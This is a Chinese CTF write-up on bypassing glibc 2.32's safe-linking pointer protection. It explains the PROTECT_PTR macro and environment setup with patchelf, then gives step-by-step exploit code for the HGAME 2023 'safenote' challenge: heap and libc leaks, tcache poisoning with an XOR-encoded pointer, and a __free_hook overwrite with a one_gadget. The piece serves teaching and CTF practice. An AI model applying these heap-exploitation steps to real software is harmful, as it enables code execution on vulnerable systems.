safe-linking
字数 1091 2025-08-20 18:16:58
Safe-Linking 机制分析与绕过技术
背景知识
在 glibc 2.32 之前的版本中,tcachebin 和 fastbin 的管理机制存在安全隐患:攻击者只需修改 fd (forward pointer) 域就可以将任意地址放置到链表上,威胁程度非常高。glibc 2.32 引入了 safe-linking 机制,在一定程度上缓解了这种利用方式。
Safe-Linking 机制原理
基本概念
Safe-Linking 对 next 指针进行了特殊处理:
- 将当前 free 后进入 tcache bin 堆块的用户地址右移 12 位
- 将该值与堆块原本正常的 next 值进行异或
- 将异或结果写回 next 的位置
源码解析
tcache 相关结构体在 glibc 2.32 中保持不变:
typedef struct tcache_entry {
struct tcache_entry *next;
struct tcache_perthread_struct *key; // 用于检测 double free
} tcache_entry;
typedef struct tcache_perthread_struct {
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
关键变化在 tcache_put 函数中引入了 PROTECT_PTR 宏:
static __always_inline void tcache_put(mchunkptr chunk, size_t tc_idx) {
tcache_entry *e = (tcache_entry *) chunk2mem(chunk);
e->key = tcache;
e->next = PROTECT_PTR(&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
PROTECT_PTR 和 REVEAL_PTR 宏定义:
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
其中:
pos是指针本身的地址ptr是指针的值- 操作实质是指针地址右移12位异或指针的值
利用姿势
堆地址泄露
当只释放一个 chunk 到 tcache 链表中时:
- 低版本中 fd 指针值为 0
- Safe-Linking 机制下,fd = (指针地址>>12) ^ 0 = 指针地址>>12
- 可以通过 fd 值反推 heap 段地址(heap 段从当前页开始,后三位固定是0)
绕过方法
要绕过检查需要获取堆的地址,然后计算正确的异或值。
更换ELF程序的glibc环境
所需工具
-
glibc-all-in-one
git clone https://github.com/matrix1001/glibc-all-in-one cd glibc-all-in-one ./update_list cat list ./download 2.31-0ubuntu9.9_amd64 ./download_old 2.32-0ubuntu3_amd64 -
patchelf
git clone https://github.com/NixOS/patchelf cd patchelf ./bootstrap.sh ./configure make make check sudo make install
设置步骤
-
创建符号链接:
sudo ln ld-2.32.so /lib64/ld-2.32.so -
设置解释器和libc:
patchelf --set-interpreter /lib64/ld-2.32.so ./pwn patchelf --replace-needed libc.so.6 ~/glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/libc-2.32.so ./pwn -
或者在exp中直接指定:
p=process(['ld-2.32.so',"./pwn"],env={"LD_PRELOAD":'./libc-2.32.so'}) -
调试设置:
cp -r ~/glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/.debug ./.debug在gdb中:
set debug-file-directory .debug/
实战案例:HGAME 2023 week3 safenote
题目分析
- 环境:glibc 2.32
- 保护:Full RELRO, Canary, NX, PIE
- 功能:标准的堆菜单题(add/delete/edit/show)
利用思路
- 泄露heap地址
- 绕过safe-linking机制
- 攻击
__free_hook
详细利用流程
-
泄露heap基地址:
for i in range(7): add(i,0x80) add(7,0x80) add(8,0x80) delete(0) show(0) heap_addr=u64(p.recv(5)[-6:].ljust(8,'\x00'))<<12 -
释放并泄露libc地址:
for i in range(1,7): delete(i) delete(7) edit(7,'\x11') # 绕过'\x00'截断 show(7) libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x1e3c11 free_hook=libc_base+libc.sym['__free_hook'] -
绕过safe-linking:
pl=(heap_addr>>12)^(free_hook) edit(6,p64(pl)) -
获取控制权:
add(9,0x80) add(10,0x80) edit(10,p64(og)) # og为one_gadget地址 delete(0) # 触发
总结
Safe-Linking机制通过异或操作增加了堆利用的难度,但通过泄露堆地址仍然可以绕过。关键点在于:
- 理解Safe-Linking的异或原理
- 能够泄露堆地址
- 正确计算绕过保护所需的异或值
- 在glibc 2.32+环境下正确设置调试环境